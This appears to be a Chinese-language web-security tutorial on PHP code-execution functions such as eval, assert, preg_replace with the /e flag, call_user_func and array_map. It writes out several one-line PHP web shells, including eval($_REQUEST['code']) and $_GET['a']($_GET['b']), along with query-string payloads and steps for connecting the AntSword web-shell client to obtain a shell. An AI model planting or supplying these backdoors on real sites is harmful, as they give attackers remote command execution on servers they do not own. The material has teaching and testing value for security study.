不是函数,不能被动态调用,并且需要以 ;
结束
直接输出,不执行
$code="phpinfo();";
echo $code;
?>
eval() 语句执行
$code="phpinfo();";
eval($code); // eval 不是函数,最后要加 ;
?>
$code=$_REQUEST["code"];
eval($code);
?>
一句话木马
eval($_REQUEST["code"]);
?>
蚁剑执行命令
其他执行方式
?code=phpinfo();
?code=${phpinfo()};
?code=echo abc;phpinfo();
?code=?>this is a test<?php phpinfo();
?code=eval(phpinfo());
高版本中删除了 assert()
使用方法
assert("<执行语句>");
?>
调用系统函数
动态调用
$code=$_REQUEST["code"];
assert($code);
?>
正则匹配,替换
替换字符,忽略大小写
$code=preg_replace("/a/i","e","abAcd");
// "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写
// 此处将 abAcd 中无论大小写的 a 全替换成 e
echo $code;
?>
$code=preg_replace("/\[.*\]/i","e","[abcde]");
// "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写
// \ 用来进行转义
// .* 表示全部内容
// 此处将 [abede] 包括中括号,替换成 e
echo $code;
?>
$code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]");
// 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
捕获 []
中的内容
$code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]");
\\1 第一次匹配的不明确的字符(此处为 phpinfo())
// \[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。
// \[ 匹配左方括号 [。
// (.*) 匹配任意字符序列,并将其作为捕获组。
// \] 匹配右方括号 ]。
// "\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。
// 将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。
echo $code;
?>
执行捕获的 []
中的内容
$code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");
// \\1 第一次匹配的不明确的字符(此处为 phpinfo())
// 此处的参数 e 会将匹配出的不明确字符执行
echo $code;
?>
使用
call_user_func(<调用的函数>,<要传的参数>);
?>
例
$func="assert";
$code="phpinfo()";
call_user_func($func,$code);
?>
动态执行
$func=$_REQUEST["func"];
$code=$_REQUEST["code"];
call_user_func($func,$code);
?>
连接蚁剑
第二个参数必须是数组
使用
$func=$_REQUEST["func"];
$code[]="phpinfo()";
array_map($func,$code);
?>
动态执行
$func=$_REQUEST["func"];
$code=$_REQUEST["code"];
array_map($func,$code);
?>
在 php 中写入最简单的后门函数
$_GET['a']($_GET['b']);
?>
访问此 php 页面
修改传参,成功执行命令
蚁剑连接
eval
为一种语言结构,而非函数,不能动态调用
可以将 assert
当作 a 的参数,b 的参数为一句话木马,连接蚁剑
蚁剑为 POST 传参,需要将传参方式设置为 $_POST
或 $_REQUEST
<pre>
<?php
$_GET['a']($_REQUEST['b']);
?>
蚁剑连接
输入传参后的 url
注意
assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码
连接密码为
$_REQUEST['b']
中的 b
获取 shell